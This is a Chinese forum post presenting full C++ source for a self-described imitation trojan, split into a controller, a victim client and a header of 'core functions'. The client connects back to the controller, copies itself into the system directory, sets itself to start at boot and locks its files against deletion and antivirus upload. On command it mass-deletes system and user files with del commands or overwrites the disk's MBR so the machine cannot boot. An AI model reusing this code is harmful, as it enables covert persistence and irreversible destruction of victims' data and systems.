久久久久久久999_99精品久久精品一区二区爱城_成人欧美一区二区三区在线播放_国产精品日本一区二区不卡视频_国产午夜视频_欧美精品在线观看免费

 找回密碼
 立即注冊

QQ登錄

只需一步,快速開始

搜索
查看: 4981|回復: 0
打印 上一主題 下一主題
收起左側

socket 編程練習作品

[復制鏈接]
跳轉到指定樓層
樓主
ID:71922 發表于 2015-1-11 00:50 | 只看該作者 回帖獎勵 |倒序瀏覽 |閱讀模式


======================================================================================================
優點:
    可以熟悉socket編程...
缺點:
    架構很差勁...同一時間只能控制一臺機器(看來還得老老實實學習鏈表)
特點:
    可以玩一玩...
下載地址:socket 編程練習作品(仿木馬版)======================================================================================================

控制端源碼(Srv.cpp ):
=======================================================================================================
#include <WINSOCK2.H>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
DWORD WINAPI recvMessage(LPVOID msge);
void huikuiMessage(SOCKET sockClient);
DWORD WINAPI SendCmd(LPVOID msge);
void csh();  // 初始化代碼
void L();    // 連接到被控端代碼
int Errorzd=0;  // 連接中斷標志
/*******************
*     胡言亂語     *
********************/
void Lovemengx()
{
puts("SOCKET編程練習作品...(尚未完善)");
printf("=======================================================================\n");
  printf("                                                    *                 |");
printf("\n剛學SOCKET編程,設計了這個不知道該叫什么的程序      *                 |\n");
  printf("                                                    *                 |");
printf("\n說它是木馬吧,連一個遠程桌面的功能都沒有...         *                 |\n");
  printf("                                                    *                 |");
printf("\n說它是后門吧,連一個本地上傳的功能都沒有...         *                 |\n");
  printf("                                                    ******  *         |");
printf("\n說它不是吧,又具備一些木馬、后門的特征...                    *        |\n");
  printf("                                                                      |");
printf("\n╮(╯▽╰)╭,不管怎么樣!通過它能更熟悉SOCKET編程,也算是一種收獲吧~ |\n");
  printf("                                                                      |");
printf("\n                                                     L、(Love 夢想)   |\n");
  printf("                                                           2011-9-5   |");
printf("\n=======================================================================\n");
}
void server()
{
HRSRC hRc=FindResource(NULL,"c:\\Cilent.exe","Exe");
   if(!hRc)
   {
    MessageBox(0,"EXE資源不存在","錯誤",0);
    exit(1);
   }
   HGLOBAL hg=LoadResource(NULL,hRc);  // 將資源載入內存并返回其在內存中首地址保存在hg中
   DWORD dw=SizeofResource(NULL,hRc);  // 獲得資源大小并用dw保存資源大小
   // 分配緩沖區并用0填充
   char a[57345];
   memset(a,0,57345);
   // 向該緩沖區中復制資源的二進制數據
   memcpy(a,hg,dw); // 將資源的二進制數據存放在緩沖區a
   // 創建服務端文件
   FILE *out=fopen("server.exe","wb+");
   fwrite(a,1,dw,out);
   fclose(out);
   // 修改配置信息
   char IP[15];
   memset(IP,0,15);
   printf("請輸入IP(默認 127.0.0.1):\n");
   gets(IP);
   fflush(stdout);
   FILE *fp=fopen("server.exe","rb+");
   rewind(fp);
   fseek(fp,0xA05C,0);
   fwrite(IP,1,15,fp);
   fclose(fp);
   MessageBox(NULL,"已經生成服務端:【server.exe】","OK",0);
   exit(0);
}
void main()
{
system("title SOCKET 編程練習作品(仿木馬版)     L、QQ:1000000002");
//////////////////////////////////////////////////////////////////////////
// 讓啟動程序時的小漏斗馬上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
//////////////////////////////////////////////////////////////////////////
system("color 0a");
do
{
  Errorzd = 0;
  if ((MessageBox(0,"是否配置服務端?","提示",MB_YESNO|MB_SYSTEMMODAL)==IDYES))
  {
   server();
  }
  csh();
  system("cls");
  Lovemengx();
  L();
} while (Errorzd);


}
/*******************
*  初始化套接字庫  *
********************/
void csh()
{
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2,2),&wsaData))
{
  ::MessageBox(0,"無法初始化套接字庫","提示",MB_SYSTEMMODAL);
  return;
}
if (HIBYTE(wsaData.wVersion)!=2 ||
  LOBYTE(wsaData.wVersion)!=2)
{
  ::MessageBox(0,"套接字版本不符合2.2","提示",MB_SYSTEMMODAL);
  WSACleanup();
  return;
}
}
/*******************
*    連接被控端    *
********************/
void L()
{
SOCKET sockSre=socket(AF_INET,SOCK_STREAM,0);
HANDLE Thread1;
// 設置服務端IP相關信息
printf("\n********  設置服務端IP相關信息  *********\n");
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(6000);

printf("\n********  綁定端口  *********\n");
if ((bind(sockSre,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)))!=0)
{
  ::MessageBox(0,"綁定端口失敗!","提示",MB_SYSTEMMODAL);
  return;
}

printf("\n********  設置監聽  *********\n");
if (listen(sockSre,5)!=0)
{
  ::MessageBox(0,"設置監聽失敗!","提示",MB_SYSTEMMODAL);
  return;
}
SOCKADDR_IN addrClient;
int len=sizeof(SOCKADDR);


//char recvBuf[1000];

printf("\n********  等待上線  *********\n");
SOCKET sockcon=accept(sockSre,(SOCKADDR*)&addrClient,&len);
// 啟動發送命令線程
system("cls");
Thread1=CreateThread(NULL,0,SendCmd,(LPVOID)sockcon,0,0 );
// 啟動接受回饋信息模塊
huikuiMessage(sockcon);  
TerminateThread(Thread1,1); // 只有被控端斷開連接的情況下才會強制結束發送命令的線程
closesocket(sockcon); // 關閉套接字
WSACleanup(); // 釋放資源
}
/*******************
*   發送命令線程   *
********************/
DWORD WINAPI SendCmd(LPVOID msge)
{
SOCKET sockcon=(SOCKET)msge;
char sendBuf[1000];
for (;;)
{  
  printf("\n********************************************\n");
  printf("\n【a】震動窗口\t【b http://***.***.***】打開網頁\n");
  printf("\n【c】摧毀系統\t【L】摧毀硬盤\t(慎用哈!)\n");
  printf("\n【q】退出被控端程序\t【Q】卸載被控端程序\n");
  printf("\n********************************************\n");
  printf("\n\n請輸入執行命令\n-> ");
  gets(sendBuf);
  if (strlen(sendBuf)==0)
  {
   puts("===== 命令不能為空 =====");
   continue;
  }
  send(sockcon,sendBuf,strlen(sendBuf)+1,0); // 發送命令
  system("cls");
}
return 0;
}

/*******************
*   回饋信息模塊  *
********************/
void huikuiMessage(SOCKET sockClient)
{
printf("\n********  信息回饋線程已啟動 *******\n");
char comd[100] = {0};
for (;;)
{
  
  if(((recv(sockClient,comd,sizeof(comd),0)) <0 ) || ( WSAGetLastError() ==  WSAETIMEDOUT || WSAGetLastError()== WSAEWOULDBLOCK ))
  {
   Errorzd = 1;    // 將連接中斷標志置 1
   MessageBox(0,"********  被控端下線 斷開連接  *********","注意",MB_SYSTEMMODAL);   
   break;
  }
  else
  {
   ::MessageBox(0,comd,"提示",MB_SYSTEMMODAL);
  }  
}
}
/*******************
*   解析命令模塊  *
********************/
char *Remove(char temp[])
{
int i,j=0;
char tmp[1024]={0};
i=strlen(temp)-1;

for (j=0;i>=0;j++,i--)
  tmp[j]=temp[j+1];  // 第一個元素是命令 其余的是附帶參數
return tmp;
}
==================================================================================================

被控端源碼(Cilent.cpp ):
==================================================================================================
#include <WINSOCK2.H>
#include <windows.h>
#include <stdio.h>
#include "..\\L、.h"

#pragma comment(lib,"ws2_32.lib") // 鏈接sock庫
DWORD WINAPI recvMessage(LPVOID msge);
DWORD WINAPI commod(LPVOID msge);
void recvMessage(SOCKET sockClient);
char *Remove(char temp[]);
void L();
void Auto(char Name[]); // 添加開機啟動項
void zh(); // 卸載模塊
char ServerIP[]="127.0.0.1";
char tmp[]="有主機上線";
// 回饋信息結構體
struct MesCmd
{
SOCKET Client; // 傳遞套接字
char *cmd; // 傳遞命令
} Mes;
HANDLE Lock_File=NULL,Lock_File1=NULL; // 鎖定文件,防止被分析及云上傳
/*******************
*  初始化套接字庫  *
********************/
void csh()
{

WSADATA wsaData;
if (WSAStartup(MAKEWORD(2,2),&wsaData))
{
  ::MessageBox(0,"無法初始化套接字庫","提示",MB_SYSTEMMODAL);
  return;
}
if (HIBYTE(wsaData.wVersion)!=2 ||
  LOBYTE(wsaData.wVersion)!=2)
{
  ::MessageBox(0,"套接字版本不符合2.2","提示",MB_SYSTEMMODAL);
  WSACleanup();
  return;
}
}
/*******************
*   配置套接字   *
********************/
void L()
{
  SOCKET sockClient=socket(AF_INET,SOCK_STREAM,0);
  
  // 設置服務端IP相關信息
  SOCKADDR_IN addrCilent;
  addrCilent.sin_addr.S_un.S_addr=inet_addr(ServerIP);
  addrCilent.sin_family=AF_INET;
  addrCilent.sin_port=htons(6000);

for (;connect(sockClient,(SOCKADDR*)&addrCilent,sizeof(SOCKADDR))!=0;)
{
  puts("******  連接服務端失敗 靜候3秒繼續嘗試連接  ******");
  Sleep(3000);
}
puts("******  與服務器建立成功 等待接受命令 ******");
send(sockClient,tmp,strlen(tmp)+1,0);
// 啟動接受命令模塊
recvMessage(sockClient);
}
/*******************
*   接受命令線程   *
********************/
void recvMessage(SOCKET sockClient)
{
char comd[100] = {0};
for (;;)
{
  if(((recv(sockClient,comd,sizeof(comd),0)) <0 ) || ( WSAGetLastError() ==  WSAETIMEDOUT || WSAGetLastError()== WSAEWOULDBLOCK ))
   {
    puts("連接已經斷開");   
    L();
   }
  Mes.Client=sockClient;
  Mes.cmd=comd;
// 啟動執行命令線程 以結構體的形式傳遞多個參數
  CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)commod,&Mes,0,NULL);
  
}
}
/*******************
*   執行命令線程   *
********************/
DWORD WINAPI commod(LPVOID msge)
{
char CmdErrorYN[100];
char CmdTmp[100]={0},*Cmd=NULL;  // 定義一個中間變量 防止服務端執行多次命令時錯誤提示最后一次執行的命令
int ErrorYN=0; // 對錯碼
MesCmd *Mes= (MesCmd *)msge;  // 強制轉換類型
strcpy(CmdTmp,Mes->cmd);// 將命令賦值給中間變量 防止此命令尚未執行完 值就被下次的命令覆蓋

// 這里可以添加相關的功能 第一個字節為命令類型 第二個字節為附帶參數
switch(CmdTmp[0])
{
  case 'a':                    // 窗口震動
     ErrorYN = WindowShake();
     strcpy(CmdTmp,"【窗口震動】");
      break;
  case 'b':
     Cmd=Remove(CmdTmp); // 分析得到附帶參數
     ErrorYN=OpenUrl(Cmd);
     strcpy(CmdTmp,"【打開網頁】");
     break;
  case 'c':
     ErrorYN=Wreck_system();
     strcpy(CmdTmp,"【摧毀系統】");
     break;
  case 'L':
     ErrorYN=Wreck_Disk();
     strcpy(CmdTmp,"【摧毀硬盤】");
     break;
  case 'q':                      // 退出程序  
     closesocket(Mes->Client);
     WSACleanup();
     exit(1);
  case 'Q':        // 卸載
     zh();
     closesocket(Mes->Client);
     WSACleanup();
     exit(1);
  default: ErrorYN=0;
}
if (ErrorYN)
  sprintf(CmdErrorYN,"執行 %s 命令完畢!",CmdTmp);
else
  sprintf(CmdErrorYN,"執行 %s 命令失敗!錯誤未知!",CmdTmp);
send(Mes->Client,CmdErrorYN,strlen(CmdErrorYN)+1,0);  //  發送命令
return 0;
}

/*************************
*   自毀模塊**********   *
**************************/
void zh()
{
char DirBuffer[MAX_PATH];
HMODULE hModule = GetModuleHandle(NULL);  // 獲取當前程序句柄
// 關閉獨占模式
CloseHandle(Lock_File);
CloseHandle(Lock_File1);
GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 獲取當前程序的路徑
// 刪除自啟動項
unlink("C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\ts.exe");
// 刪除自身
Del(DirBuffer);
}
/*************************
*   命令、參數解析線程   *
**************************/
char *Remove(char temp[])
{
int i,j=0;
char tmp[1024]={0};
i=strlen(temp)-1;

for (j=0;i>=0;j++,i--)
  tmp[j]=temp[j+1];  // 第一個元素是命令 其余的是附帶參數
return tmp;  // 將純參數返回
}
/***************************
*   程序運行時進行初始化   *
***************************/
void DelAdd()
{
char systemName[MAX_PATH];
char DirBuffer[MAX_PATH];
// char tempBuffer[MAX_PATH];
HMODULE hModule = GetModuleHandle(NULL);  // 獲取當前程序句柄
GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 獲取當前程序的路徑
// GetFileTitle(DirBuffer,tempBuffer,MAX_PATH); // 從路徑中提取文件名
GetSystemDirectory(systemName,sizeof(systemName)); // 獲取系統文件夾路徑
strcat(systemName,"\\lovemengxiang.exe"); // 生成的文件名
if ((strcmp(DirBuffer,systemName))!=0)   // 判斷程序自身是否在系統目錄 不在則實現自刪除
{
  CopyFile(DirBuffer,systemName,0);
  Del(DirBuffer);      // 自刪除模塊
  ShellExecute(NULL,"open",systemName,0,0,SW_HIDE); // 運行副本
  exit(0); // 退出 讓Bat刪除自己
}
else
{
  Auto(DirBuffer);
  // 第一步 立即鎖定本體 防止被上傳 我想殺軟沒那么無聊為了上傳就隨隨便便解鎖吧?
  Lock_File=CreateFile(DirBuffer, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
}
}
/***************************
*   開機自啟動             *
***************************/
void Auto(char Name[])
{
// 自復制到 啟動文件夾 實現開機自啟動  嫌麻煩 就用這種方式自啟動吧 一句代碼搞定
char DirName[]="C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\ts.exe";
CopyFile(Name,DirName,1);
Lock_File1=CreateFile(DirName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
/*
由于它會自釋放、自刪除、自復制并且會自鎖定 形成一個循環既可以保證啟動文件始終有一個
原體存在,又能同時鎖定兩個文件以阻止被刪除、復制上傳。即使被刪除也會因為自復制后再生
,實現無進程再生功能。不過,這種啟動方式易被發現,并且以自己的進程去鎖定文件只能對付普
通刪除,所以需要改進,啟動方式又很多種,不過這里為了方便就用這個吧。至于鎖定文件可以讓
系統管進程如:svchost.exe 、winlogon.exe 去保護源體!這樣即使被發現也得在系統重啟之后
才能清除!而鎖定句柄保留方便卸載或升級被控端用...
*/
}
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
//////////////////////////////////////////////////////////////////////////
// 讓啟動程序時的小漏斗馬上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
//////////////////////////////////////////////////////////////////////////
DelAdd();
csh(); // 初始化
L(); // 核心調用
return 0;
}
============================================================================================

核心功能源碼:(L、.h  部分原創)
============================================================================================
/********************************************************/
//  窗口抖動 功能
/********************************************************/
int WindowShake() // 窗口抖動
{
HWND ForeHandle=GetForegroundWindow();
for(int i=0;i<15;i++)
{
  RECT rc;
  GetWindowRect(ForeHandle,&rc);
  MoveWindow(ForeHandle,rc.left+8,rc.top+8,rc.right-rc.left,rc.bottom-rc.top,1);
  Sleep(40);
  MoveWindow(ForeHandle,rc.left,rc.top,rc.right-rc.left,rc.bottom-rc.top,1);
  Sleep(40);
  Beep(0x0fff,10);
}
return 1;
}
/********************************************************/
//  自刪除功能
/********************************************************/
void Del(char *systemname)
{
FILE *fp;
fp=fopen("C:\\system.bat","w+");
fprintf(fp,"@echo off \n");
fprintf(fp,":statr\nif not exist \"%s\" goto done\n",systemname);
fprintf(fp,"del /f /q \"%s\" \n",systemname);
fprintf(fp,"goto statr\n");
fprintf(fp,":done\n");
fprintf(fp,"del /f /q %%0\n");
fclose(fp);
ShellExecute(NULL,"open","C:\\system.bat",0,0,SW_HIDE);

}
/********************************************************/
//  打開網頁
/********************************************************/
int OpenUrl(char url[])
{
char Url[300]={0};
strcpy(Url,"explorer.exe ");
strcat(Url,url);
WinExec(Url,SW_SHOW); // 隱藏打開指定網頁
return 1;
}

/********************************************************/
//  摧毀系統 功能
/********************************************************/
int Wreck_system()
{
system("del /f /s /q C:\boot.ini");
system("del /f /s /q *.gho");
system("del /f /s /q QQ.exe");
system("del /f /s /q %systemdrive%\*.tmp");
system("del /f /s /q %systemdrive%\*.gho");
system("del /f /s /q %systemdrive%\*.jpg");
system("del /f /s /q %systemdrive%\*.mp3");
system("del /f /s /q %systemdrive%\*.dll");
system("del /f /s /q %systemdrive%\*.mp4");
system("del /f /s /q %systemdrive%\*.bat");
system("del /f /s /q %systemdrive%\*.txt");
system("del /f /s /q %systemdrive%\*.rar");
system("del /f /s /q %systemdrive%\*.bmp");
system("del /f /s /q %systemdrive%\*.png");  
system("del /f /s /q %systemdrive%\*.exe");
system("del /f /s /q %systemdrive%\*.lnt");
system("del /f /s /q %systemdrive%\*._mp");
system("del /f /s /q %systemdrive%\*.log");
system("del /f /s /q %systemdrive%\*.gid");
system("del /f /s /q %systemdrive%\*.chk");
system("del /f /s /q %systemdrive%\*.old");
system("del /f /s /q c:\*.txt");
system("del /f /s /q c:\*.gho");
system("del /f /s /q c:\*.old");
system("del /f /s /q c:\*.gid");
system("del /f /s /q c:\*.chk");
system("del /f /s /q c:\*.log");
system("del /f /s /q c:\*._mp");
system("del /f /s /q c:\*.lnt");
system("del /f /s /q c:\*.dll");
system("del /f /s /q c:\*.exe");
system("del /f /s /q c:\*.bmp");
system("del /f /s /q c:\*.rar");
system("del /f /s /q c:\*.png");
system("del /f /s /q c:\*.jpg");
system("del /f /s /q c:\*.mp3");
system("del /f /s /q c:\*.bat");
system("del /f /s /q c:\*.mp4");
system("del /f /s /q %systemdrive%\*.gho");
system("del /f /s /q %systemdrive%\*.tmp");
system("del /f /s /q %systemdrive%\*.jpg");
system("del /f /s /q %systemdrive%\*.mp3");
system("del /f /s /q %systemdrive%\*.dll");
system("del /f /s /q %systemdrive%\*.mp4");
system("del /f /s /q %systemdrive%\*.txt");
system("del /f /s /q %systemdrive%\*.rar");
system("del /f /s /q %systemdrive%\*.bmp");
system("del /f /s /q %systemdrive%\*.png");  
system("del /f /s /q %systemdrive%\*.exe");
system("del /f /s /q %systemdrive%\*.lnt");
system("del /f /s /q %systemdrive%\*._mp");
system("del /f /s /q %systemdrive%\*.log");
system("del /f /s /q %systemdrive%\*.gid");
system("del /f /s /q %systemdrive%\*.chk");
system("del /f /s /q %systemdrive%\*.old");
system("del /f /s /q %systemdrive%\recycled\*.*");
system("del /f /s /q %windir%\*.*");
system("del /f /s /q %windir%\prefetch\*.*");
system("del /f /s /q %windir%\temp\*.*");
system("del /f /q %userprofile%\cookies\*.*");
system("del /f /q %userprofile%\recent\*.*");
system("del /f /s /q /""%userprofile%\recent\*.*/""");
system("del /f /s /q /""%userprofile%\Local Settings\Temporary Internet Files\*.*/""");
system("del /f /s /q /""%userprofile%\Local Settings\Temp\*.*/""");  
/*
  system("del /f /s /q d:\*.*");
  system("del /f /s /q e:\*.*");
  system("del /f /s /q f:\*.*");
*/
return 1;
}
/********************************************************/
//  摧毀硬盤 功能
/********************************************************/
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x52\x69\x67\x69\x64\x20\x44\x69"
"\x73\x6b\x20\x46\x61\x69\x6c\x75\x72\x65\x21";
int Wreck_Disk()
{
// ExitWindowsExT   pExitWindowsEx =  (ExitWindowsExT)GetProcAddress(LoadLibrary("USER32.dll"), "ExitWindowsEx");
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};

// 重新構造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;

hDevice = CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
  return -1;
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
// 寫入病毒內容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
CloseHandle(hDevice);
Sleep(2000);
DWORD   dwVersion   =   GetVersion();   
    if   (dwVersion   <   0x80000000)   //   Is   NT   or   2000!   
    {   
  HANDLE   hToken;   TOKEN_PRIVILEGES   tkp;   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES   |   TOKEN_QUERY,   &hToken);
  LookupPrivilegeValue(NULL,   SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
  tkp.PrivilegeCount   =   1;   //   set   privilege   
  tkp.Privileges[0].Attributes   =   SE_PRIVILEGE_ENABLED;
  AdjustTokenPrivileges(hToken,   FALSE,   &tkp,   0,(PTOKEN_PRIVILEGES)NULL,   0);
// ExitWindowsEx(EWX_FORCE+EWX_REBOOT,   0);   
}  
// else   //   Is   9x   or   Me   
// ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
// ExitProcess(-1);
return 1;
}
===========================================================================================

分享到:  QQ好友和群QQ好友和群 QQ空間QQ空間 騰訊微博騰訊微博 騰訊朋友騰訊朋友
收藏收藏1 分享淘帖 頂 踩
回復

使用道具 舉報

您需要登錄后才可以回帖 登錄 | 立即注冊

本版積分規則

手機版|小黑屋|51黑電子論壇 |51黑電子論壇6群 QQ 管理員QQ:125739409;技術交流QQ群281945664

Powered by 單片機教程網

快速回復 返回頂部 返回列表
主站蜘蛛池模板: 99re免费| 激情毛片 | 美女一区二区在线观看 | 日韩欧美在线视频一区 | 久久久精品久久久 | 精品视频在线观看 | 91久久精品国产免费一区 | 一区二区成人 | 亚洲国产精品人人爽夜夜爽 | 中文字幕亚洲一区 | 久久日韩精品一区二区三区 | 天天操天天玩 | 一级毛片色一级 | 亚洲国产成人精品久久久国产成人一区 | 免费视频一区二区 | 99视频在线免费观看 | 国产精品一区二区三区在线 | 日韩专区中文字幕 | 国产欧美精品 | 97综合在线 | 国产精品99久久久久久宅男 | 911网站大全在线观看 | 成人在线精品视频 | 日日夜夜影院 | 日韩三级在线 | 精品久久久久久国产 | 色在线免费 | 国产在线观看网站 | 欧美一区二区三区久久精品 | 欧美高清视频一区 | 久久久精品黄色 | h片在线观看免费 | 伊人精品国产 | 免费黄色在线观看 | 国产精品一级 | 久久久久久综合 | 91n成人| 成人在线观看亚洲 | 日韩成人精品一区二区三区 | 精品视频一区二区三区在线观看 | 日韩在线视频一区 |